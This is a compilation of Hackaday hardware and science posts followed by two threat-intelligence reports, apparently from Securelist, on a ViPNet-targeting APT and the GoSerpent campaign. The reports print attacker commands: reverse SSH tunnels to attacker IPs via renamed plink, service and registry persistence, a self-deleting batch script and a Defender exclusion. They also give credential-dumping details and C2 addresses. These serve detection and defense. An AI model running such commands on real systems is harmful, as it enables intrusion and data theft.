In 1675, while transporting a barometer by night, the astronomer Jean Picard noticed a glow inside its glass tube, just above the mercury. As the mercury sloshed and splashed across the surface of the glass, a static electric charge had built up, which was discharging by ionizing the residual gas molecules inside the evacuated tube. [Styropyro] recreated this effect, and found that the dim glow could be made much stronger by adding some noble gas to the tube.

It starts with a simple recreation: he took a volumetric flask, attached a narrow glass stem to the mouth, added some mercury to the flask, evacuated it with a vacuum pump, and sealed off the glass stem. This produced a faint glow when shaken, but it was only really visible under very low light. When [Styropyro] brought it near a Tesla coil, however, it did glow much more brightly.

Backfilling an identical flask with neon to about 40 millitorr produced a much more spectacular result (a low pressure in the tube is necessary, but moderate pressure variations don’t significantly alter the effect). When shaken even slightly, this neon-containing flask produced a bright orange-red glow just above the surface of the mercury. Points of obstruction, such as those in a zig-zag tube, produced a brighter glow. A krypton-containing tube glowed blue, but less brightly than the neon tube.

Since this is, essentially, a triboelectric effect, other materials besides mercury should work; [Styropyro] tested several materials, and found that pieces of Teflon produced a faint glow, and copper beads a somewhat brighter glow. Unfortunately, Galinstan, the obvious replacement for mercury, wets and coats glass, preventing a charge buildup.

Without an added noble gas, the standard glow of barometric light comes from the excitation of mercury vapors, a glow which can also be seen in mercury rectifiers, and which excites the phosphors of fluorescent light bulbs.

youtube.com/embed/0Y-9GbsS9Fg?…

Thanks to [Vik Olliver] for the tip!

hackaday.com/2026/07/16/a-slos…

Railroads might be a nineteenth century technology, but they’re still the backbone of cargo transportation in the 21st century. They’ve also far from run out of innovation, including this one which really just sounds like a hack: painting the rails white to beat the heat.

In the old days, when rails were short and riveted together, this might have been unecesssary; all those joints allowed for a lot of flex. But when you have kilometers of continously welded rail, the thermal expansion starts to matter. A lot. Even if the rails haven’t bent and buckled from excess heat, their capacity goes down. Trains must therefore slow way, way down in hot weather, reducing the overall amount of freight the system can handle.

So, how do you cool the million miles of metal that holds a country together? Paint. Simple white paint sprayed on the side of the rails can bring down temperatures 11 °C (20 °F), according to the Union Pacific Railroad, the first to try this in North America. It might not surprise you that this technique is also being rolled out on the other side of the pond during this summer’s European heat waves. Indeed, it was invented there; the Italians have been doing it for many years now.

If you think reducing solar heat with white paint is good, you can do better than that with special formulations that end up cooler than ambient. It passive cooling also comes in fibre form.

hackaday.com/2026/07/16/white-…

[Dr. Gough] bought a generic USB 3.0 hub on an Asian website. Surely, USB 3 is mature enough that even the cheapest hub will have some IC in it that will work well, right? You’d think so, but a little exploratory surgery showed that the only thing about this hub that was USB 3 were the blue port connectors.

We have a few problem USB hubs ourselves, so it might be worth doing this to any you have lying around. The first clue: most of the connectors on the PCB only have four pins. On closer examination, the hub appears to be a USB 3.0 extension cable with a USB 2.0 hub made from two HS8836A chips.

Not only are these USB 2-only, but all the ports on an HS8836A also share the same USB 1.1 bandwidth. Some hubs can provide multiple ports full 1.1 bandwidth, using the higher-speed USB protocol to the PC as a backhaul.

There were quite a few other issues. Missing solder, cables soldered to the board directly, and no bypass capacitors. The per-port switches cut off USB power, but that wouldn’t stop a device with its own power from connecting. The hub has a barrel jack for power, but it would feed back to the PC, which is bad practice at best.

If you use Linux, try lsusb -t and look at the negotiated speed for your hubs. If they aren’t what you expect, it could be a cable issue, or it could just be that you also have a cheap USB hub. Don’t be surprised if your USB 3 hub shows both a USB 3 and a USB 2 hub; that’s common. But if you only see the USB 2 hub, something is amiss, or someone’s lying.

You can learn a lot about USB 3 reading Hackaday.

hackaday.com/2026/07/16/a-usb-…

CD+Graphics was a format that never really caught on. It let music discs pack some graphics, maybe liner notes, and mostly song lyrics into the otherwise empty space on a CD. It was never intended for displaying full-motion video, but that didn’t stop [Adam Gashlin] from getting a Bad Apple, with lyrics, running on any device that will play CD+G.

The main challenge is that CD+G gives you 300 screen commands per second, which is plenty for updating text on the 48×16 blocks as the lyrics scroll by. But if you want to send custom blocks and draw images, that’s 2.5 seconds per screen: a lousy framerate.

[Adam]’s first trick is to drop the resolution way down, which gets him into the 8 FPS range. Only update the blocks that change pushes this up to a respectable 17-20 FPS. But you can see the updates, and that’s distracting. It really needed buffering.

If you don’t know Bad Apple, it’s in black and white. And like many old graphics engines of the day, CD+G uses a dynamic palette of colors. [Adam] uses this to pack four frames into one, switching between them using palette swapping. (Absolutely check out his “rainbow” version of the video to see how the palette-swapping trick works.)

In the end, his demo has audio, triple-buffered video, and lyrics at 16.3 FPS. It’s slower than the fastest video-only version, but it looks so good, and [Adam]’s explanation of all of the graphics tricks he uses to get there is the real star of the show.

If you want to see Bad Apple running on yet more minimal hardware, how about a 16×2 LCD? Or a much more ridiculous implementation? How’s regexes in Vim for absurd? Got any Bad Apple hacks of your own? Let us know in the comments or the tips line. You can never have too many.

hackaday.com/2026/07/16/bad-ap…

Although Einstein’s Theory of Relativity is typically associated with really large and really heavy things like plants in solar systems and big things in universes in general, it turns out that even at an atomic scale its effects can be measured. These are the findings of Brown University scientists, whose measurements on very heavy elements indicate the presence of relativistic bonds.

Unfortunately the paper by [Kirk A. Peterson] et al. in Science is paywalled without a convenient ArXiv version to ogle details beyond the supplemental, but the Brown press release gives quite a few details by itself, including the use of photoelectron spectroscopy to measure the strength of the bonds between the examined nuclei.

The essential summary is that our concept of how triple bonds work may be flawed, with the assumption that there are distinct sigma and pi bonds, the latter being the awkward, weaker ‘side bonds’ where the overlapping atomic orbitals do not directly line up as with a sigma bond. As it turns out, if there’s enough mass involved, relativistic effects smudge both types of bonds together into a hybrid type of bond.

Although the sigma-pi triple bond theory still seems to hold up for lighter atomic nuclei, in the case of the examined bismuth-carbon triple bond, the typical, slightly radioactive bismuth-209 nucleus with atomic number 83 is heavy enough to affect the orbital mechanics and with it the chemical bonds that these produce.

This is an important finding, as it affects our basic understanding of how strong the bonds between certain elements are. Pi bonds are after all significantly weaker than sigma bonds, so a hybrid form would effectively make triple bonds involving a heavier element stronger than one between lighter elements.

hackaday.com/2026/07/16/even-c…

Some breaking news from geostationary orbit, as the National Oceanic and Atmospheric Administration (NOAA) has announced that its newest Geostationary Operational Environmental Satellite (GOES) satellite unexpectedly went offline last night, and as of this morning, remains stuck in safe mode.

Launched in June of 2024, GOES-19 is one of four operational weather satellites that NOAA operates to provide forecast data and severe weather monitoring for the entire Western Hemisphere. The satellite is specifically responsible for covering the continental United States, Central and South America, as well as the Atlantic Ocean. This makes it a particularly critical asset even under normal circumstances, but the fact that it’s gone blind during the Atlantic hurricane season and while smoke from the raging Canadian wildfires is drifting over the Northeast and making the skies over Boston and New York City look like Mars is something of a worst-case scenario.

The good news is that two of the four satellites operate as orbital spares — the satellite that GOES-19 replaced in 2024, GOES-16, is still operational and can stand in as a backup for its coverage area. Obviously, it’s quite a bit older, having launched back in 2016, but it’s of the same design as GOES-19, and in good health, so there should be no degradation of service.

Still, getting GOES-19 back online will be critical for NOAA and the National Weather Service, and we expect they’ll be providing regular updates as the situation develops. Stay tuned.

hackaday.com/2026/07/16/goes-1…

Even for those of us that are quite technically minded, we spend precious little time thinking about the cables that carry our signals and do all the important work we need them to do on a daily basis. A great deal of theory and engineering goes into making things like telephone lines and HDMI cables work, but we mostly just plug them in and get on with whatever we’re doing.

If this is your experience, you might find the Hackaday Europe talk from [Michael Wiebusch] to be particularly interesting. He dives into transmission line theory from an accessible standpoint, explaining how two disparate signals can go in opposite directions on the very same wire. Then he demonstrates the theory by building a cable modem… well, sort of!

Signal

youtube.com/embed/PdwxXsaaSKM?…

Michael begins his talk by discussing the Telegrapher’s Equation, but only as a fakeout. Given the limited time on offer, he decided a quicker, easier explanation of the physics involved would be more appropriate. Key to this was explaining the difference between cables and transmission lines. To create a true transmission line, by his definition, he explains that there is a necessity to have two conductors that are relatively close together. Such a transmission line is effectively a distributed network of inductances and capacitances all the way down, though often we talk about “lossless” transmission lines for modelling purposes. He also covers the point of coaxial cables, wherein one conductor is wrapped around another to shield a signal from external noise, and to prevent signal from leaking out.
Transmission lines allow signals to pass in opposing directions, much like ripples on a pond will pass through each other, retaining their form. Credit: talk slides
There are several basic facts to remember about transmission lines. They are fundamentally just channels down which EM signals can travel. It’s also good to remember that they delay signals. To a human, the signal may appear to travel instantaneously, but it does take time. This also has other impacts; for example, coax cables are filled with plastic, a material in which the speed of light is roughly 66% of the speed of light in a vacuum.

This slows the rate at which the field of an EM signal can travel to this fundamental limit. [Michael] also notes that transmission lines, as a wave medium, essentially allow waves travelling in different directions to pass each other, much like ripples spreading on the surface of a pond. This is why it’s possible to have bidirectional communication on a single transmission line. It’s also important to terminate a transmission line properly, such that the wave you’re transmitting down it ends where you want it to—at the receiver. Fail to terminate your transmission line, and you’ll have that wave bouncing back and forth which is undesirable for clear transmission.
The coupler allows sending and receiving signals via a single transmission line. Credit: talk slides
[Michael] demonstrates basic transmission line theory by building a sort of cable modem out of an Arduino and some supporting hardware. He notes it’s not really a modem—there is no modulation or demodulation going on. Instead, he’s simply squirting TTL signals into either end of a cable and receiving them on the other end. The “black box” that couples the signals into and out of the transmission line is a simple directional coupler. Built out of resistors and an op-amp, it allows sending a signal down a transmission line, as well as receiving a signal coming the other way. The design works all the way down to DC logic level signals, which let [Michael] use it to send TTL signals up and down 50-ohm and 75-ohm coaxial cables. He notes this has very obvious practical applications where it’s desirable to reduce cable counts when sending signals in multiple directions, relating this directly to his professional work on science experiments.

If you’ve ever wanted to get two devices talking over a single cable in a relatively easy fashion, then [Michael’s] talk may be valuable to you. At the very least, it’s a great way to learn some of the basics of transmission lines and better understand what’s going on when you shoot a signal down a random bit of wire. It’s all good stuff.

hackaday.com/2026/07/16/hackad…

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during it were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts of targeted infection of large Russian organizations from the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector — a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After launch, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and the command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting in the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload in memory, which is stored in its body in plain text.

HelloProxy — a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:
threadid: <Thread ID> pid=<PID>\r\n
After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• 
  
  • Working as a proxy. The malware accepts strings in the following format:
    <ip_addr>:<port>
    Afterwards, it creates new sockets and starts forwarding traffic between them.
  • Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

  
  

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system;
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:
query user
ipconfig /all
ping 8.8.8.8 -n 1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\
[username]query user
dir C:\Users\Public\music
In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):
C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw

[redacted]

HelloBackdoor — a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string “hello\n“) to activate the backdoor. This backdoor further accepts the following commands:
!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:
@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul
timeout 5 > nul
sc start iplircontrol > nul
(goto) 2>nul & del /F /Q %0
If the command text did not match the above listed, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:
GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n
It refers to the news portal sina.com, which is popular in China.

In addition, analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that ViPNet software is not the first time being used by advanced attackers to conduct cyberattacks, we recommend paying special attention to the protection of workstations with this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent incidents of this class. This approach is embedded in the architecture of the Kaspersky Symphony line of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat using the following verdicts:

• Trojan.Win32.Agentb.ttoe,
• Trojan.Win64.Convagent.gen,
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor Process Injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for the HelloBackdoor backdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string “hello\n“), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical for ViPNet, lacking an InfoTeCS signature) by the ViPNet update process ("Itcsrvup64.exe" or "Itcsrvup.exe").
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c – #new

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe – #new
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe – #new

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140 — #new

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135 – #new
Detected TTPs: — #new
T1569.002 — System Services: Service Execution
– “cmd” /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery
– “cmd” /c arp -a
– “cmd” /c routeprint

T1049 — System Network Connections Discovery
– “cmd” /c netstat -ano

T1018 — Remote System Discovery
– “cmd” /c ping mail.ru -n 2

T1082 — System Information Discovery
– `”cmd” /c systeminfo

T1057 — Process Discovery
– “cmd” /c tasklist

T1007 — System Service Discovery
– “cmd” /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery
– “cmd” /c dir temp*.tmp
– “cmd” /c dir $temp\*.tmp
– “cmd” /c dir amgmt*
– “cmd” /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
– “cmd” /c dir $public\libraries\
– “cmd” /c dir d:\WindowsImageBackup

T1005 — Data from Local System
– “cmd” /c type $temp\TS_E9E3.tmp
– “cmd” /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging
– “cmd” /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion
– “cmd” /c del $windir\amgmt.dll
– “cmd” /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service
– sc stop AppMgmt
– sc delete AppMgmt
– sc create AppMgmt binpath= “system32\svchost.exe -k netsvcs” type= share start= auto displayname= “Application Management”
– sc description AppMgmt “Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start.”
– sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry
– reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32$selfname.dll
– reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)
– “cmd” /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts
– “cmd” /c $windir\amgmt.bat
– “cmd” /c $windir\insru.cmd

T1105 — Ingress Tool Transfer
– “cmd” /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o”$windir

T1562.001 — Impair Defenses: Disable or Modify Tools
– “cmd” /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt
– “cmd” /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH
– c:\users[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

Introduction

In February 2026 we discovered a set of malicious activities that have been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, serving as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication which caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communication with a remote server. It was also used to deploy further malicious tools for sensitive data collection and credential dumping on the system.

Monitoring the activities of this threat actor revealed that in May 2026 they came back with an evolved set of malicious tools: new Stowaway RAT and proxy tool which resembled the initial malware as well as an additional stealthy tool to exfiltrate sensitive data collected for the previous few months through network share.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with a relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article we introduce the malicious tools uncovered by us which are used since late 2025.

Technical details

Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor and subsequent deployment of additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials for the collected data exfiltration through network shared drives at a later stage. This was achieved by a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

This malware receives encrypted and base64-encoded command-line arguments containing the C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, appearing to be compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent that uses encrypted command-line arguments, McMx receives input parameters from text files in plain text format, resembling older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.

Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.

The tool shares core functionalities with GoSerpent including:

• SOCKS5 proxying
• port forwarding
• file transfer
• remote shell capabilities

Data collection and credential dumping tools

Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.

ThumbcacheService

ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.

The targeted files are then archived using 7-Zip and protected with a predefined password of @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.

Credential dumping tools

The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:

1. Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
2. QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.

These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.

Second stage of the attacks

After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activities was another Go-based RAT and proxy tool, Stowaway. It was then used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload which was the last piece of the data theft puzzle.

Stowaway

Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection more stealthy. This malware features both network admin and agent capabilities enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:

• SOCKS5 proxying
• port forwarding
• reverse tunneling
• remote shell access
• file transfer
• SSH-based tunneling

Communications are transported over TCP, HTTP, or WebSocket channels with protection using AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:

• TmcLoader with embedded payload
• {BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file

TmcLoader/TmcPayload

TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.

TmcLoader employs dynamic API resolution through a circular XOR encryption where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.

The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.

TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.

It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration, specifically referencing the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.

Toolset integration

What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:

1. ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
2. Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
3. Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
4. TmcLoader/TmcPayload: deployed via Stowaway, reads configuration file for data exfiltration.
5. Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.

This integration shows that the threat actors have carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.

Infrastructure

The malware operators leverage legitimate hosting providers including Alibaba Cloud and UCLOUD HK for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.

Attribution

While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.

Conclusion

The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.

Indicators of compromise

File hashes

GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8

McMx
D6E86BF8A90E9B632ADD5FA495F97FBC

ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C

Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162

TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E

C2 IP addresses

152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226

securelist.com/goserpent-backd…

